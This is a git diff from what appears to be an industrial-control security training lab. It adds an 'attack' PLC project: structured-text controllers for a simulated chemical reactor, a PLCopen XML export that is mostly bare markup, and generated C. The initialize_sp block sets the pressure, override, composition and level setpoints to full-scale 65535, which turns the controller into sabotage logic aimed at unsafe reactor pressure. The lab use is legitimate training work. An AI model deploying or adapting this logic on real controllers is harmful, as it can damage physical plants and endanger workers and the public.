comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 65535; + press_sp_c : UINT := 65535; + over_sp_c : UINT := 65535; + level_sp_c : UINT := 65535; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_signed + VAR_INPUT + input_uint : UINT; + END_VAR + VAR_OUTPUT + output_int : INT; + END_VAR + VAR + DIV3_OUT : UINT; + ABS8_OUT : UINT; + UINT_TO_INT9_OUT : INT; + END_VAR + + DIV3_OUT := DIV(input_uint, 2); + ABS8_OUT := ABS(DIV3_OUT); + UINT_TO_INT9_OUT := UINT_TO_INT(ABS8_OUT); + output_int := UINT_TO_INT9_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set AT %MW0 : UINT; + a_setpoint AT %MW1 : UINT; + pressure_sp AT %MW2 : UINT; + override_sp AT %MW3 : UINT; + level_sp AT %MW4 : UINT; + END_VAR + VAR + composition_control0 : composition_control; + scale_to_signed0 : scale_to_signed; + END_VAR + VAR + f1_valve_pos AT %IW0 : UINT; + f1_flow AT %IW1 : UINT; + f2_valve_pos AT %IW2 : UINT; + f2_flow AT %IW3 : UINT; + purge_valve_pos AT %IW4 : UINT; + purge_flow AT %IW5 : UINT; + product_valve_pos AT %IW6 : UINT; + product_flow AT %IW7 : UINT; + pressure AT %IW8 : UINT; + level AT %IW9 : UINT; + a_in_purge AT %IW10 : UINT; + b_in_purge AT %IW11 : UINT; + c_in_purge AT %IW12 : UINT; + f1_valve_sp AT %QW0 : UINT; + f2_valve_sp AT %QW1 : UINT; + purge_valve_sp AT %QW2 : UINT; + product_valve_sp AT %QW3 : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure AT %MW20 : INT; + hmi_level AT %MW21 : INT; + hmi_f1_valve_pos AT %MW22 : INT; + hmi_f1_flow AT %MW23 : INT; + hmi_f2_valve_pos AT %MW24 : INT; + hmi_f2_flow AT %MW25 : INT; + hmi_purge_valve_pos AT %MW26 : INT; + hmi_purge_flow AT %MW27 : INT; + hmi_product_valve_pos AT %MW28 : INT; + hmi_product_flow AT %MW29 : INT; + scan_count AT %MW30 : UINT; + END_VAR + VAR + scale_to_signed1 : scale_to_signed; + scale_to_signed2 : scale_to_signed; + scale_to_signed3 : scale_to_signed; + scale_to_signed4 : scale_to_signed; + scale_to_signed5 : scale_to_signed; + scale_to_signed6 : scale_to_signed; + scale_to_signed7 : scale_to_signed; + scale_to_signed8 : scale_to_signed; + scale_to_signed9 : scale_to_signed; + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR_EXTERNAL + run_bit : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + ADD87_OUT : UINT; + GE91_OUT : BOOL; + MOVE92_ENO : BOOL; + MOVE92_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + scale_to_signed0(input_uint := pressure); + hmi_pressure := scale_to_signed0.output_int; + scale_to_signed1(input_uint := level); + hmi_level := scale_to_signed1.output_int; + scale_to_signed2(input_uint := f1_valve_pos); + hmi_f1_valve_pos := scale_to_signed2.output_int; + scale_to_signed3(input_uint := f2_valve_pos); + hmi_f2_valve_pos := scale_to_signed3.output_int; + scale_to_signed4(input_uint := purge_valve_pos); + hmi_purge_valve_pos := scale_to_signed4.output_int; + scale_to_signed5(input_uint := product_valve_pos); + hmi_product_valve_pos := scale_to_signed5.output_int; + scale_to_signed6(input_uint := f1_flow); + hmi_f1_flow := scale_to_signed6.output_int; + scale_to_signed7(input_uint := f2_flow); + hmi_f2_flow := scale_to_signed7.output_int; + scale_to_signed8(input_uint := purge_flow); + hmi_purge_flow := scale_to_signed8.output_int; + scale_to_signed9(input_uint := product_flow); + hmi_product_flow := scale_to_signed9.output_int; + ADD87_OUT := ADD(scan_count, 1); + scan_count := ADD87_OUT; + GE91_OUT := GE(scan_count, 32000); + MOVE92_OUT := MOVE(EN := GE91_OUT, IN := 0, ENO => MOVE92_ENO); + IF MOVE92_ENO THEN + scan_count := MOVE92_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + VAR_GLOBAL + run_bit AT %QX0.0 : BOOL; + END_VAR + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack.xml b/plc/GRFICS_Workstation_Docs/Documents/attack.xml new file mode 100644 index 0000000..725d547 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack.xml @@ -0,0 +1,5136 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 30000 + + + + + + + + + + + + + hmi_pressure + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 16000 + + + + + + + + + + + + + hmi_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f1_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f2_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 3000 + + + + + + + + + + + + + + + hmi_purge_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 15000 + + + + + + + + + + + + + hmi_product_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f1_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f2_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 3000 + + + + + + + + + + + + + hmi_purge_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 15000 + + + + + + + + + + + + + hmi_product_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 1 + + + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 32000 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 0 + + + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_real + + + + + + + pressure_sp_real + + + + + + + pressure_k + + + + + + + pressure_ti + + + + + + + cycle_time + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure_sp + + + + + + + + + + + + + pressure_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos + + + + + + + valve_pos_nominal + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + product_flow + + + + + + + + + + + + + product_flow_real + + + + + + + product_flow_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + flow_set_in + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + curr_pos_real + + + + + + + curr_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_k + + + + + + + flow_ti + + + + + + + cycle_time + + + + + + + flow_td + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_in_purge_real + + + + + + + a_setpoint_real + + + + + + + composition_k + + + + + + + composition_ti + + + + + + + cycle_time + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_in_purge + + + + + + + + + + + + + a_in_purge_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_setpoint + + + + + + + + + + + + + a_setpoint_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + valve_pos_nominal + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_real + + + + + + + override_sp_real + + + + + + + override_k + + + + + + + override_ti + + + + + + + cycle_time + + + + + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + curr_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + + + + + + + curr_sp_real + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 150.0 + + + + + + + 50.0 + + + + + + + 0.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 500.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp_real + + + + + + + product_sp_real + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp + + + + + + + curr_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + input_uint + + + + + + + 2 + + + + + + + + + + + + + + + output_int + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + real_in + + + + + + + 100.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + uint_out + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + liquid_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + level_real + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + + + + + + + pos_real + + + + + + + pos_min + + + + + + + level_real + + + + + + + level_sp + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + sp_real + + + + + + + level_k + + + + + + + + + + + + + pos_update_real + + + + + + + pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + cycle_time + + + + + + + level_ti + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml b/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml new file mode 100644 index 0000000..c5afdb1 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml @@ -0,0 +1,4 @@ + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c new file mode 100644 index 0000000..0dd2355 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c @@ -0,0 +1,29 @@ +/*******************************************/ +/* FILE GENERATED BY iec2c */ +/* Editing this file is not recommended... */ +/*******************************************/ + +#include "iec_std_lib.h" + +#include "accessor.h" + +#include "POUS.h" + +// CONFIGURATION CONFIG0 + +void RES0_init__(void); + +void config_init__(void) { + BOOL retain; + retain = 0; + + RES0_init__(); +} + +void RES0_run__(unsigned long tick); + +void config_run__(unsigned long tick) { + RES0_run__(tick); +} +unsigned long long common_ticktime__ = 50000000ULL; /*ns*/ +unsigned long greatest_tick_count__ = 0UL; /*tick*/ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h new file mode 100644 index 0000000..7050753 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h @@ -0,0 +1,2 @@ +#include "beremiz.h" + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o new file mode 100644 index 0000000..3d987f8 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/LOCATED_VARIABLES.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/LOCATED_VARIABLES.h new file mode 100644 index 0000000..e69de29 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/LOCATED_VARIABLES.h diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.c new file mode 100644 index 0000000..d1856d9 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.c @@ -0,0 +1,1081 @@ +void LOGGER_init__(LOGGER *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MSG,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->LEVEL,LOGLEVEL__INFO,retain) + __INIT_VAR(data__->TRIG0,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void LOGGER_body__(LOGGER *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + if ((__GET_VAR(data__->TRIG,) && !(__GET_VAR(data__->TRIG0,)))) { + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) + + LogMessage(GetFbVar(LEVEL),(char*)GetFbVar(MSG, .body),GetFbVar(MSG, .len)); + + #undef GetFbVar + #undef SetFbVar +; + }; + 